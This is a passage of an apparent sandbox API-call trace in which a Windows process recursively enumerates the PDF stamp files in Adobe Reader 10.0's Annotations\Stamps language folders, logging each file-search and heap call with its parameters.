lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0228.074] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0228.074] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0228.074] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0228.075] GetProcessHeap () returned 0x550000 [0228.075] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0228.075] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0228.075] GetProcessHeap () returned 0x550000 [0228.075] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0228.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0228.075] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.075] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0228.075] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0228.075] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0228.076] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0228.076] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0228.076] GetProcessHeap () returned 0x550000 [0228.076] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0228.076] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0228.076] GetProcessHeap () returned 0x550000 [0228.076] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0228.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0228.107] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.107] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0228.107] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0228.107] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0228.107] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0228.107] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0228.108] GetProcessHeap () returned 0x550000 [0228.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0228.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0228.108] GetProcessHeap () returned 0x550000 [0228.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0228.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0228.619] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0228.619] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0228.621] GetProcessHeap () returned 0x550000 [0228.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0228.621] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0228.621] GetProcessHeap () returned 0x550000 [0228.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0228.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0228.744] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.744] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0228.744] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0228.745] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0228.745] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0228.745] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0228.745] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0228.745] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0228.745] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0228.746] GetProcessHeap () returned 0x550000 [0228.746] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0228.746] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0228.746] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0228.746] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0228.747] GetProcessHeap () returned 0x550000 [0228.747] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0228.747] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0228.747] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0228.747] GetProcessHeap () returned 0x550000 [0228.747] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0228.747] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, 